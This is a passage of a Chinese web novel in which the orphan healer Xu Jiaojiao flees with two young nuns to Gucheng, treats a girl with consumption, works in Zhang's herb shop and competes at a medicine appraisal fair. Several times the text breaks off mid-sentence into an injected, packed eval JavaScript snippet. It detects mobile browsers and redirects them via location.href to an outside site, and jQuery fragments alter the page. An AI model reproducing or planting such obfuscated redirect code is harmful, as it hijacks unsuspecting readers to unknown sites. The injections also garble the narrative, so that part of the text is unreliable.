静尘放下筐子，神色也凝重起来：“我正要跟你说。昨儿孙二根上山送柴火时说起，水月庵现在冷清得很，附近几个村子的人都不去烧香了，改去龙王祠。但……”她顿了顿，“他还说，看见有生面孔在庵堂附近转悠，不像善类。” 许娇娇的心一沉。她想起了王管家临走时那阴冷的眼神，想起了水仙姑那毫不掩饰的怨毒。 许娇娇闭上眼，深吸了一口气。这些日子，她反复思量过眼前的局面。硬碰硬？她一个九岁的孤女，拿什么去碰王大官人那棵大树？水仙姑明面上或许会收敛，可暗地里的手段呢？买凶？纵火？诬陷？随便哪一样，都足以让她和静尘静心万劫不复。 她睁开眼，目光扫过这片自己一手打理起来的药圃，这间遮风挡雨的茅屋，最后落在静尘和静心担忧的脸上。 不，不能硬来。 鸡蛋碰石头，碎的只能是鸡蛋。她现在最需要的不是逞一时之勇，而是时间和空间——让自己长大、让羽翼丰满的空间。 “师姐，”许娇娇的声音异常冷静，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222036|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们得离开这里。” 静尘一怔：“离开？去何处？” “去菰城。”许娇娇眼神坚定，“我们一起走，带上旺财，带上所有能带走的东西。” 这个念头一旦清晰，便如拨云见日。留在这里，永远是靶子，永远被动挨打。去菰城，或许是一条生路。虽然前路未知，但总好过坐以待毙。 “可是娇杏，”静尘握住她的手，指尖冰凉，“这药圃，这屋子……还有，我们能去哪儿？菰城人生地不熟……” “药圃可以再种，屋子可以再盖。”许娇娇反握住她的手，声音虽轻却有力，“但人没了，就什么都没了。师姐，水仙姑恨我入骨，更恨你们背叛。她就是一条藏在阴暗中的毒蛇，随时会扑上来咬人。” 她顿了顿，继续分析道：“菰城那么大，比归平县大多了，而且菰城没有王大官人，我们在那边刚开始生活艰难点，但比在此地强很多，我们慢慢寻找安身之处，也好过在这里日夜提防，不知何时祸从天降。” 静尘看着许娇娇稚嫩却异常沉稳的脸庞，心中的慌乱渐渐平息。是啊，娇杏说得对。留在这里，就像守着随时会喷发的火山。 “好。”静尘重重点头，“我们一起走，什么时候动身？” “越快越好。”许娇娇当机立断，现在就准备，我们三日后走。尽量不要惊动旁人。” 正说着，山下传来旺财的吠叫，带着一丝警惕而非亲热。许娇娇心头猛的一跳，快步走到崖边，只见一个陌生汉子正沿着山路往上爬，看打扮不像本地农人。 “师姐，带静心进屋。”许娇娇低声道，自己则从袖中摸出一包药粉捏在手里，站在院中静候。 来人是个三十来岁的精壮汉子，穿着半旧靛蓝短打，肩搭褡裢。他走到篱笆外，拱手问道：“请问，许娘子可住此处？” 许娇娇打量他片刻，见其神色坦荡，便上前应道：“正是我，您是？” 汉子脸上露出笑容：“可算找着了！小的是从菰城来的，张记生药铺的东家托我给姑娘带个口信。” 许娇娇暗暗松了口气，将人请进院。汉子自称姓陈，是张记的伙计，常跑这一带收药材。他喝完静尘递上的水，抹了把嘴道：“东家让我告诉姑娘，铺子里最近收了一批上好的川贝母和黄芪。东家说姑娘识货，若有空，不妨去铺子里看看，顺便商量些事情。”说着，取出一封信，“这是东家亲笔信。” 许娇娇拆信，字迹确是张东家的，内容与陈伙计所言一致，但末尾添了一句：“近来菰城医药行当有些变动，对小娘子或有裨益，望速来商议。” 她沉吟片刻，问道：“陈大哥，若我们……不止一人前往，东家可方便安排？” 陈伙计一愣，看了看一旁的静尘，随即笑道：“姑娘指的是这两位师父？东家信中既未明言，想必无碍。姑娘放心，东家既诚心相邀，必会周全。” 许娇娇心下稍安，送走陈伙计后，将决定告诉了静尘和静心。 静心有些害怕：“娇杏，我们真要走吗？我……我没出过远门。” “静心，留下更危险。”许娇娇温和却坚定地说，“水仙姑不会放过我们。去菰城，是眼下最好的选择。” 接下来的三日，茅屋里异常忙碌，却进行得悄无声息。 许娇娇先是去了一趟落溪村，只找了李婆子一人，含糊说菰城张记生药铺的东家请她去菰城见识学习，归期未定，托李婆子得空帮忙照看下后山的屋子。李婆子心中虽有些不舍，但更多的则是替娇杏欢喜，她笑着满口答应。 26. 第26章 医治禾娘 她们开始悄悄整理行装。最值钱的是那些炮制好的药材：柴胡、当归、金银花、自制的金疮药和清热丸，分门别类用油纸包好。许娇娇把爹娘留下的骨针、小药锄和用红色络子挽着的半块羊脂玉佩，仔细收进贴身的荷包。这半块玉佩是许大郎夫妻唯一留给许娇杏最值钱的东西，玉质细腻，触手温润，不知为何只有半块。攒下的几两碎银和铜钱，分成三份，三人各自缝在衣内。 “地窖里的粮食带不走，”静尘有些惋惜，“还有这些腌菜……” “带不走的就不带。”许娇娇很果断，“只带必需的、值钱的。衣物拣厚实耐穿的，每人一个小包袱，不能显眼。” 旺财似乎察觉到什么，这几日格外粘人，许娇娇走到哪儿它跟到哪儿。许娇娇揉着它的脑袋：“旺财，我们要出远门了，你得跟着，路上要机灵些。” 第三日夜里，一切准备就绪。三个姑娘挤在床边，望着这间住了许久的茅屋，心中五味杂陈。 “娇杏妹妹，”静尘轻声道，“这屋子……我们还会回来吗？” 许娇娇沉默片刻：“也许会，也许不会。但只要我们三个在一起，平安活着，哪里都可以是家。” 窗外月光如水，山野寂静。许娇娇望着窗棂上的树影，心中默默盘算：菰城之行，是逃离，也是新的开始。她必须在那里站稳脚跟，不仅为了生存，更是为了有朝一日，不必再这样仓皇逃离。 她不知道，就在同一片月光下，水月庵的后院里，黑老三正对着几个地痞吩咐：“……看清楚了，就这三个丫头片子。记住，要活的！” 第四日清晨，天刚蒙蒙亮，许娇娇、静尘、静心便背着包袱悄悄出了门。旺财跟在脚边，时不时警觉地回头张望。许娇娇最后看了一眼在晨雾中渐渐模糊的茅屋和药圃，心中有不舍，但更多的是一种破釜沉舟的决绝。 “走吧。”她轻声说，转身率先下山。 三人一狗沿着山道小心前行，尽量避开可能被人看见的大路。走到半山腰时，静心脚下一滑，险些摔倒，被静尘及时扶住。这一耽搁，许娇娇无意间回头，瞥见上方树林似乎有影子一闪而过。 她心头一跳，低声道：“快走。” 赶到落溪村村口时，陈伙计已赶着驴车等在那里。见她们三人带着行李和狗，愣了一下，随即了然，什么也没多问，只笑道：“都来了就好，上车吧，咱们赶早出发。” 驴车吱呀呀上了官道。许娇娇回头，望着逐渐远去的群山和村庄，那个她重生后挣扎求生、也收获了温暖的地方，渐渐消失在视野中。 路上，许娇娇将水仙姑可能报复的担忧告诉了陈伙计。陈伙计闻言皱起眉：“若真如此，你们早走是明智的。菰城那么大，藏几个人容易。东家也有些门路，总能护你们一时周全。” 晌午前，驴车到了青石镇，准备打尖吃饭。刚进镇子，便见前方围了一群人，传来撕心裂肺的哭嚎。陈伙计勒住驴车，许娇娇探头望去，只见一个衣衫褴褛的老妇人瘫坐在地，抱着一个空瘪的蓝布包袱哭喊：“我孙女的药啊！全没了！哪个天杀的偷了……” 听周围人议论，老妇人的孙女得了肺痨，那是她当掉最后家当抓的三剂救命药。 许娇娇心里像被揪了一下。她看了看静尘和静心，又看了看自己一行人简单的行囊。她们也在逃难，前路未卜…… 可那哭声太绝望。 她咬了咬牙，下了车，分开人群走到老妇人跟前蹲下：“阿婆，您先别急。我懂些医术，您带我去瞧瞧孩子，可好？” 原来，老妇人的孙女禾娘年方九岁，咳了已近三月，近日愈发严重，痰中带血，夜里盗汗，已是肺痨重症的症候。镇上大夫开了方子，言明需用川贝母、杏仁、桑白皮、麦冬等药徐徐图之。老妇人咬牙当了最后一件嫁妆，才抓来三剂药，如今竟全丢了。 到了那间破败的茅屋，许娇娇见到了病榻上的禾娘。孩子面颊潮红，呼吸急促，瘦得只剩一把骨头。她上前仔细诊了脉，又查看了舌苔、眼睑，心中已有计较。 “阿婆，”她转身，语气沉稳，“禾娘这病是肺阴亏虚，虚火内灼。镇上大夫的方子本是正理，只是……”她顿了顿，环顾这家徒四壁的屋子，“那方子里的川贝母价贵，且药性稍缓，于眼下之急，或可权变。” 她在老妇人惊疑不定的目光中，从容地从自己随身的布包里取出纸笔——那是她平时记药性用的。略一沉吟，便提笔写下一方：“您按这个去抓药。用沙参替川贝母，滋阴润肺、加地骨皮清虚热，仙鹤草止血。这几味药山间常见，药铺里也便宜，先抓五剂。” 见老妇人捏着药方的手还在抖，许娇娇又从怀里数出百来文钱，轻轻塞进她手里：“阿婆，药要紧。若信得过我，就赶紧去抓药，禾娘耽误不得。” 老妇人握着那尚有体温的铜钱和药方，看着眼前这眼神清亮、举止却沉稳得不似孩童的小娘子，嘴唇哆嗦着，泪水再次涌出，这回却是滚烫的：“小娘子……您、您真是菩萨派来救苦救难的啊！” 许娇娇扶住她要下跪的身子，只是摇了摇头：“见病当医，是医者本分。” 她没再多言，辞别千恩万谢的老妇人，回到驴车上。陈伙计将一切看在眼里，姑娘年纪虽小，却是菩萨心肠。” 许娇娇望着窗外飞掠的田野，心中那个念头越发清晰：她需要力量，不仅仅是安身立命的力量，更是能保护想保护之人、帮助该帮助之人的力量。 而她们身后，黑老三派去的人扑了个空，对着空荡荡的茅屋气急败坏。消息传回水月庵，水仙姑砸碎了手边最爱的白瓷茶盏，脸色狰狞如鬼。 “跑了？”她尖声厉笑，“跑得了和尚跑不了庙！许娇杏，你们以为跑了我就拿你们没办法？咱们……走着瞧！” 驴车在官道上平稳行驶，路两旁是刚刚插秧的稻田，农人们在田间忙碌，一片春耕景象。许娇娇望着这一切，忽然想起前世，想起自己曾经以为重要的那些东西——财富、地位、别人的羡慕。 现在她才明白，有一种踏实，是脚踩在泥土里的踏实；有一种安心，是知道自己做的事能帮到别人的安心。 “陈大哥，”她忽然开口，“如果我想在菰城开个小药铺，您觉得可行吗？” 陈伙计一愣，随即笑道：“怎么不可行？姑娘的医术我是亲眼见过的，张博士也常说，姑娘若是男儿身，早就声名远扬了。不过——”他顿了顿，“开药铺需要本钱，也需要人脉，最重要的是要有坐堂大夫的资格。姑娘年纪小，又是女子，恐怕不容易。” 许娇娇点点头。这些她都知道，但她想试试。不仅是为自己，也为静尘和静心，为那些可能像她们一样无依无靠的女子，谋一条生路。 三月的风还有一丝丝凉意，方才那屋里的有些阴冷、禾娘急促的呼吸、老妇人掌心粗砺的触感，却无比清晰地烙在她心头。 这个世间，有人鲜衣怒马，掷千金只为一笑；也有人家徒四壁，为几文药钱便能逼上绝路。 有些事，看见了，心便再也退不回没看见的境地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222037|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这与年纪大小无关，与银钱多寡，更无干系。无非是……遵从那点生于心见于病的本分罢了。 车轮辘辘，碾过崎岖的官道。 菰城的清晨，雾还未散尽。 青石板路上湿漉漉的，早起的货郎挑着担子，吱呀吱呀走过，留下两行浅浅的水印。街边的铺面陆续卸下门板，伙计们拿着扫帚清扫门前，哗啦哗啦的声响在晨雾里传得格外远。 张记生药铺门口已经排起了队。都是些穷苦百姓，有的捂着胸口咳嗽，有的抱着啼哭的孩子，有的搀扶着步履蹒跚的老人。伙计阿福在门前发号牌，一面维持秩序：“都别挤，排好队！李真人辰时三刻开始坐诊，一个个来！” 许娇娇、静尘、静心三人跟着陈伙计的驴车到铺子后门时，看见的就是这番景象。 “姑娘们这边请。”陈伙计领她们绕过人群，从侧门进了后院。 后院比前头清静许多。三间厢房围合的天井，青石板缝里长着茸茸的青苔，墙角那丛翠竹在晨雾中绿得发亮。厨房的烟囱冒着袅袅青烟，空气里飘着米粥的香气。 静心紧紧挨着静尘，好奇又胆怯地打量着这个陌生的地方。旺财似乎也有些不安，贴着许娇娇的腿，耳朵警惕地竖着。 三人一狗正在打量着这个院子，就见张东家从药铺的后门出来，笑呵呵迎上来：“都来了就好！路上辛苦了！”他目光温和地扫过静尘和静心，陈伙计显然已经提前知会过，“这就是静尘、静心两位小师父吧？到了这儿就当自己家，莫要拘束。” 静尘合十行礼，声音还有些紧绷：“叨扰东家了。” “哪里的话！”张东家摆手，“后院东厢房有两间屋子，我让人收拾出来了。你们先安顿下来，吃过早饭再说。” 他引着三人去看房间。东厢房确实收拾得干净整洁，一间稍大，放着两张床铺，显然是给静尘静心准备的；一间稍小，只有一张床，是为许娇娇准备的。虽简陋，但床褥都是新晒过的，透着阳光的味道。 “你们就安心住下。”张东家温声道，“后院平日就我和几个伙计，清静。厨房米面都有，想吃什么自己做，不必客气。”他顿了顿，看向许娇娇，“许小娘子，李真人一会儿就该来了。你先安顿，早饭在厨房，吃过便到前头来。” 许娇娇感激地点头：“多谢张伯。” 三人简单收拾了行李。静尘把包袱里的衣裳一件件叠好放进柜子，静心则好奇地趴在窗边，看天井里那丛翠竹。旺财在屋里转了几圈，找了个角落趴下，似乎终于放松了些。 “娇杏，”静尘轻声道，“张东家待我们这样好，我们……不能白住。我和静心也能做些活计，洒扫、洗衣、做饭都行。” 许娇娇正有此意：“师姐说得是。等安顿下来，我去跟张东家说，咱们帮着铺子里做些杂事，也算一份心意。” 厨房里，小米粥熬得稠稠的，还有一笼白菜豆腐包子。三人围着小桌吃了来到菰城的第一顿饭。热粥下肚，连日的奔波疲惫似乎消解了不少。 前堂传来一阵喧哗。隐约听见阿福在喊：“劳烦让一让！李真人来了！” 许娇娇忙放下碗：“师姐，静心，你们先歇着，我去前头看看。” 静尘站起身：“我跟你一起去吧。虽不懂医术，但搬药材晒药材我还算熟悉，或许能帮上忙。” 静心也小声道：“我、我可以扫地……” 许娇娇看着两人眼中那份想出力、不安于白吃白住的神情，心中一暖：“好，咱们一起去。” 27. 第27章 沈夫人道谢 三人来到前堂，果然见李真人刚进门。今日他穿着一身半旧的石青色道袍，外罩一件鸦青比甲，手里提着个药箱。虽已年过六旬，步履却稳健，眼神清亮，一进门便对排队的病人拱手：“诸位久等了，老夫这就开始。” 他径直走到屏风后的诊案前坐下，打开药箱，取出脉枕、笔墨。阿福赶紧上前，按号牌叫第一个病人。 许娇娇站在柜台后静静看着。 第一位病人是个老妇人，捂着胸口，咳得脸都红了。李真人让她坐下，三指搭上腕脉，闭目凝神听了片刻，又让她伸出舌头看了看，这才温声道：“阿婆，你这咳嗽有几日了？” “有……咳咳……有七八日了。”老妇人喘着气道，“夜里咳得厉害，睡都睡不着。” “痰是什么颜色？” “白的，稀稀的。” 李真人点点头，提笔开方。许娇娇踮起脚尖，远远望见方子上写着：麻黄二钱、杏仁三钱、甘草一钱、生姜三片、大枣三枚。是麻黄汤加减。 开完方，李真人又叮嘱：“回去用三碗水煎成一碗，趁热服下，盖好被子发汗。这几日忌食生冷油腻，多喝热水。” 老妇人千恩万谢，拿着方子来柜台抓药。许娇娇忙结过方子，仔细看了看，便转身去药柜。她动作虽不快，却稳当，拉开标着“麻黄”的抽屉，取出戥子，仔细称出二钱，倒在黄纸上。接着是杏仁、甘草……每味药都称得准，包得方正。 张铺主在一旁看着，暗暗点头。 最后算账：“一共十五文。” 老妇人从怀里摸出个破旧的荷包，倒出十几枚铜钱，一枚一枚数了，小心翼翼放在柜台上。 静尘则帮着擦拭桌椅，静心默默拿起扫帚，将门口病人踩进来的泥渍扫干净。 一个上午，李真人看了三十多个病人。 到晌午时分，病人终于少些。李真人得空歇息，许娇娇连忙奉上热茶：“李大夫辛苦，快喝口茶润润喉。” 李真人接过茶碗，啜了一口，目光落在许娇娇身上，又看了看在一旁整理药材的静尘和静心：“这三位是……” 张博士忙道：“这位就是我跟您提过的许大郎的遗孤许小娘子。这两位是她的姐姐，静尘和静心。”又对许娇娇道，“快来见过真人。” 许娇娇上前，恭恭敬敬行了个礼：“民女许娇杏，见过真人。”静尘和静心也过来行礼。 李真人打量许娇娇片刻，微微颔首：“听张大夫说，你颇通药理，自己配的药茶药丸都极好。” “民女不敢当，只是跟着家父曾学过些皮毛。”许娇娇谦道。 李真人也不多问，只道：“既来了，便在一旁看着吧。多看多学，总有益处。” 许娇娇急忙应诺。 李真人点点头，不再多言。 午后，病人又陆续来了。许娇娇站在李真人身侧，看他诊脉、问诊、开方，偶尔李真人会考她几句：“丫头，你看这位大娘是什么症候？” 许娇娇仔细看了看病人的面色、舌苔，又听了症状，谨慎答道：“面黄肌瘦，舌淡苔白，食欲不振，大便稀溏……该是脾胃虚弱。” 李真人点头：“如何治？” “当健脾益气。可用四君子汤加减。” “若病家贫寒，用不起人参呢？” 许娇娇想了想：“可用党参替代，虽效缓，却也有效。再加些炒白术、茯苓、炙甘草，脾胃虚寒的再加些干姜。” 李真人眼中露出赞许之色，却不多夸，只道：“记下了。” 这般边看边学、边帮忙边适应，一晃便是三日。 这三日里，许娇娇白日跟着李真人学诊脉开方，夜里便在后院研读医书，张博士把铺子里所有医书药典都搬出来任她翻阅，李真人得空时也会指点她一二。静尘和静心把后院打理得井井有条，连旺财都习惯了趴在药铺门槛内，看着来往行人。 三人渐渐融入了菰城的生活，那份初来乍到的不安，被忙碌与充实冲淡了许多。只是夜深人静时，许娇娇望着窗外的月亮，仍会想起山上那座茅屋，想起可能还在搜寻她们的水仙姑。 到第三日下午，病人渐少。李真人看完最后一个病人，收拾药箱时，忽然对许娇娇道：“丫头，你随我来。” 许娇娇一愣，忙跟了上去。 李真人领着她出了铺子，沿着青石板路往西走。穿过两条街巷，来到一处僻静的茶楼。 小二认得李真人，连忙迎上来：“真人来了！楼上雅间您的客人正等着呢！” 李真人点点头，带着许娇娇上了二楼。 二楼雅间里已经坐着两个人。一位是四十来岁的中年妇人，穿着素雅的藕荷色褙子，头发梳得一丝不苟，神色间透着几分焦急。她身边坐着个小娘子，约莫十三四岁年纪，穿着一身鹅黄襦裙，脸色还有些苍白，正是元宵夜许娇娇在灯会上救下的那位。 许娇娇心头一跳。 那妇人见李真人进来，连忙起身：“叔父，您可来了！”随即目光落在许娇娇身上，眼中闪过一丝诧异，又带着询问望向李真人。 李真人温声道：“你猜的没错，这位就是许姑娘，淑宁的救命恩人。”又对许娇娇介绍，“这是老夫的侄女，夫家姓沈，这是她女儿，沈家三娘子，闺名淑宁。” 沈夫人上前两步，仔细端详许娇娇，眼中满是感激：“原来就是姑娘！我可是找了姑娘许久，若不是这回叔父来此坐诊，听那张记的东家说起，恐怕将救命恩人错过了。姑娘可还记得一年多前的那个元宵夜？若不是姑娘仗义施救，淑宁怕是……”她说着，眼圈就红了。 沈淑宁也起身，向许娇娇盈盈一拜：“淑宁多谢许娘子救命之恩。” 许娇娇忙还礼：“夫人、娘子快别这样，不过是举手之劳。” 几人坐下，沈夫人细细说起当日的事，又问及许娇娇的近况。得知她带着两位姐姐暂居张记生药铺，沈夫人温声道：“姑娘仁心仁术，又有担当。若有什么难处，尽管开口。沈家在菰城还有些薄面，或可相助。” 许娇娇心中感动，却只道：“多谢夫人关怀。张东家待我们极好，眼下并无难处。” 沈夫人见她不愿多受恩惠，也不勉强，从袖中取出一块玉佩递给她：“这玉佩你收着。日后若遇难处，可凭此玉佩到府城沈家找我。” 许娇娇推辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们是一家人。”许娇娇反握住她的手，语气坚定，“自然要一起筹划未来。” 晚饭后，许娇娇点起油灯，她想起前世曾参加的那些中医研讨会，那名堂就多了，针灸、药理、临床、中西医结合等、五花八门。各种各样的学术研讨会。也不知菰城的中医药鉴别会什么样？许娇娇心里有些期待。 静尘在一旁默默帮她整理药材样本，静心则轻手轻脚地研墨。 夜深了，后院厢房的灯光久久未熄。 窗外传来更夫的梆子声，已是二更天了。菰城渐渐安静下来，只有远处偶尔传来几声犬吠。 许娇娇揉了揉发酸的眼睛，望向窗外朦胧的月色。前路依然未知，水仙姑的威胁如阴影未散，但此刻，在这间小小的厢房里，在静尘和静心均匀的呼吸声中，她感到一种久违的踏实。 她吹熄油灯，躺到床上。明天，她要更努力地学习，为了十日后的医药鉴别会，也为了她们三人能在菰城扎根。 月光如水，静静流淌过窗棂，照亮少女沉睡中仍微微蹙着的眉，和那紧紧攥在手中的、写着“杏林盛会”的洒金红帖。 28. 第28章 中医药鉴别会（一） 三月十八，菰城起了薄雾。 天光未亮时，街巷还沉浸在墨色的寂静里。打更的梆子声刚歇，更夫佝偻的身影转过街角，消失在雾霭中。东市那家王记豆腐坊最先亮起灯，磨豆子的石磨声咕噜咕噜响起，豆腥气混着水汽，在雾里弥散开。 张记生药铺后院，鸡鸣时分便有了动静。 静尘轻手轻脚起了床，怕吵醒里间的许娇娇。她推开房门，晨雾立刻涌了进来，带着菰城特有的、混杂着河水与早炊的潮湿气息。厨房里已经亮着灯，静心正踮着脚往灶膛里添柴，锅里的小米粥咕嘟咕嘟冒着泡。 “静心！”静尘系上围裙，“周婶还没到，你到起的这般早。” “娇杏今日要去那个盛会，我想让她吃口热乎的。”静心回过头，脸上被灶火映得红扑扑的，“我还蒸了素包子，白菜豆腐馅的。” 静尘心里感慨。自打来到菰城，静心的话多了些，人也活泛了。她洗了手，帮着捏包子褶：“是啊，今日是娇杏的大日子。咱们帮不上别的，至少让她安心去比试。” 卯时三刻，许娇娇也醒了。她其实一夜浅眠，脑子里反复过着今日可能遇到的药材、方剂。推开门，见张记原先的厨娘一脸笑意的一边在厨房忙碌着，一边和静尘和静心俩说着什么，小米粥的香气扑面而来。 “师姐，静心，周婶子，你们起这么早？” “起来了？快洗漱，来吃饭。”静尘端着包子出来，“今日要耗神，得多吃些。” 娇杏坐在小桌边咬了口包子，白菜清甜，豆腐软嫩，火候正好。她抬头看着静尘眼下的淡青，又看看静心被蒸汽熏红的脸，心里涌起一股暖流。 “你们别光顾着我，自己也多吃点。”许娇娇一边喝粥一边让着她们三人。 “姑娘今日要去这么重要的医药会，东家昨日就关照我，”周婶一边摘菜一边笑着道：“我可不着急，姑娘吃好了好好发挥，争取将咱们药铺的名头打出去。” “多谢婶子，”许娇娇温声道：“给婶子添麻烦了。” “哪里话，这是我分内的事，可不敢当姑娘的谢。”周婶子连忙摆手。 静心小声道：“娇杏，我和静尘师姐商量了，今日铺子里病人多，我们留在铺子里帮忙做些杂事，你好安心去比试。” 许娇娇一愣：“那盛会……” “盛会我们去了也看不懂。”静尘温声道，“倒不如在铺子里做些实在事。你放心去，旺财我们看着，铺子我们也照应着。等你回来，跟我们说说盛会见闻便是。” 许娇娇鼻尖有些发酸。她知道，静尘静心是怕拖累她，也是真心想为这个临时的“家”出力。 正吃着，前堂传来陈伙计的声音：“许娘子可起了？东家让问问，什么时候动身？” 辰时初刻，许娇娇跟着张东家出了门。 北瓦子早已人声鼎沸。这菰城最大的杂耍场子今日全然变了模样，中心广场搭起三座丈许高的木台，台前木牌朱笔写着“川广生药”“南北药材”“本土道地”。凉棚下，穿青衫的文书正给参评的药商登记，队伍排得老长。 张东家今日特意穿了身崭新的靛蓝直裰，头戴方巾，手里提着个樟木匣子。许娇娇背着蓝布包袱，紧紧跟着。 两人挤到登记处，排队等了约莫一炷香时间。登记的文书看了张东家的名帖：“南街张记生药铺张之和？呈何药材？” “老山参一支，川贝母一包，另有些自家炮制的柴胡、当归。”张东家恭声道。 文书在名册上记下，递来两块木牌：“丙字十七号。药材送到丙字台候着，辰时三刻开始鉴评。” 丙字台是“本土道地”的鉴评处，台前已经堆了不少药材。晒干的茯苓大如斗笠，整捆的桂枝香气扑鼻，成筐的金银花开得正盛。 台上三位老者端坐着——须发皆白的周行老，江南道医药行会的副会首；左边是李真人；右边是仁心堂的孙大夫。侧后方另设一席，端坐着一位神色肃然、身着太医署青绿官袍的中年人——特邀观裁的王太医。 辰时三刻，锣声三响。 周行老站起身，声音洪亮：“诸位——今日乃我江南道医药鉴别盛会首日，鉴生药，辨水土之精……” 鉴评有条不紊地进行着。甲字台多是川广来的贵重药材，乙字台是南北各地的普通药材，行老们鉴得仔细，每样都要观形、闻气、尝味，问清产地、采收、炮制。 许娇娇静静看着，手心微微出汗。她知道，张记铺子的药材虽好，但在这些见过世面的行老眼中，未必算得上顶尖。 同一时辰，张记生药铺前堂。 静尘和静心俩人拿着抹布，将柜台、长凳擦得锃亮。旺财趴在门槛内，黑亮的眼睛望着街上来往行人。 辰时三刻，第一个病人上门了。 是个咳嗽的老汉，拄着拐杖，咳得腰都弯了。静尘忙上前扶他坐下：“老人家，您稍等，我这就去请廖大夫。” “不用请，不用请。”廖大夫笑呵呵从后堂出来，在医案后坐定，让老汉伸出手，三指搭上腕脉，脉象浮紧，舌苔薄白。 “老人家，咳嗽几日了？痰是什么颜色？”廖大夫声音温和。 “五、五天了……痰是白的，清稀的。” “可是怕风？身上疼不疼？” “怕，怕风！骨头缝都疼！” 廖大夫心中有了数，提笔开方，写下：麻黄二钱、杏仁三钱、甘草一钱、生姜三片、大枣三枚。写罢，又抬头问老汉：“家里可有人煎药？若不方便，铺子里可以代煎，加两文钱就好。” 老汉连连点头：“好好，你们煎，我眼神不好，怕煎坏了。” 静尘已经利落地按方抓药，包好药，又记下老汉的住址：“未时来取就好。” 老汉千恩万谢地走了。 廖大夫拍拍她的肩：“做得很好。字也写的尚可。能记住药名，认得药材已是不易，且还知道替病人着想。许小娘子教的不错。” 静尘脸色微红的点头。 “娇杏很厉害的。”静心笑着在后面补了一句。 廖大夫也点头，“确实，许小娘子医术好，医德人品也佳。” 一上午铺子里来了十几个人，陈伙计和其他几个伙计忙着去码头搬药材，万大夫出诊了，只有廖大夫在，幸好静尘如今能上手帮着抓药。帮了廖大夫不少忙，廖大夫专心问诊，也快了许多。静心则洒扫煎药，两人配合还挺默契。旺财也机灵，见有孩童哭闹，便凑过去摇尾巴，孩子破涕为笑。 午时，病人少了些。静心去厨房热了早上剩的包子，先端给廖大夫吃，接着两人坐在柜台后慢慢吃着。静心小口咬着包子，忽然道：“静尘师姐，你说娇杏现在在做什么？” 静尘望向北瓦子的方向：“该是在鉴评吧。那么多药材，那么多行老，她一定很紧张。” “娇杏真厉害。”静心小声道，“她肯定能行。” “是啊。”静尘微笑，“她总是能行。” 北瓦子广场上，鉴评已近午时。 司仪唱名：“丙字十七号——‘张记生药铺’，呈老山参一支，川贝母一包，柴胡、当归各三斤！” 张东家深吸一口气，抱着木匣上了台。许娇娇跟在他身后，垂手站着。 周行老打开木匣，先取出了那支老山参。参须完整，芦头清晰，体态玲珑。他端详良久，又递给李真人和关、孙两位大夫传看。 “参龄应在五十年上下。”李真人拈须道，“芦碗密集，体态清瘦，须条柔韧，是长白山所产的正品野山参。” 孙大夫点头：“参气清醇，回味甘甜，炮制也得法。” 周行老记下：“丙字十七号，长白山野山参，五十年份，炮制得法，评甲中。” 接着是川贝母，评了甲下。 轮到柴胡和当归时，周行老顿了顿。他拿起一片柴胡，对着日光照了照，眉头微皱：“这柴胡……炮制手法有些特别。” 张东家忙道：“这是铺子里学徒炮制的，用的是家传古法。” 周行老看向许娇娇：“小姑娘，是你炮制的？” 许娇娇上前一步：“回行老话，是我所制。” “说说，如何炮制？” “回行老，柴胡采回后，趁鲜切片，不用水洗。晾至半干时，用米酒喷润，文火慢炒至微黄。”许娇娇声音清晰，“如此能去燥性，保药效。” 周行老眼中闪过一丝讶异。他转向李真人：“真人以为如何？” 李真人仔细看了看断面，尝了尝，缓缓道：“酒性温和，助药上行而不燥。火候把握极好——外微黄而内仍白，恰到好处。” 关大夫也点头：“当归切片均匀，色泽油润，炮制也得法。可评乙上。” 周行老沉吟片刻，在名册上写下：“柴胡、当归，炮制得法，药性保全，评乙上。” 下了台，张东家有些紧张和激动：“娇杏，听见没？乙上！” 许娇娇却看向台上。鉴评还在继续，各色药材轮番登场。她忽然明白李真人为何要她来——不仅是崭露头角，更是让她亲眼看看，真正的医药之道是什么样子。 午时鉴评暂停。广场四周支起了小吃摊子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“无妨。”周行老摆摆手，“丸、散、膏、丹，根基皆在炮制。你既精于此道，明日比试，未必没有机会。”他转向张东家，“张记铺子往年成绩平平，今年能有这般进益，实属难得。你好生栽培这丫头，莫要埋没了。” 从茶肆出来，已是黄昏。 回铺子的路上，张东家难掩激动：“娇杏，周行老亲自夸你！这可是天大的机缘！” 许娇娇却有些不安：“张伯，明日的比试……民女心里没底。” “怕什么？周行老说了，基础在炮制。你炮制药材的本事，连行老都认可，还怕制不好丸药？”张东家安慰她，“今夜咱们好生准备一番！” 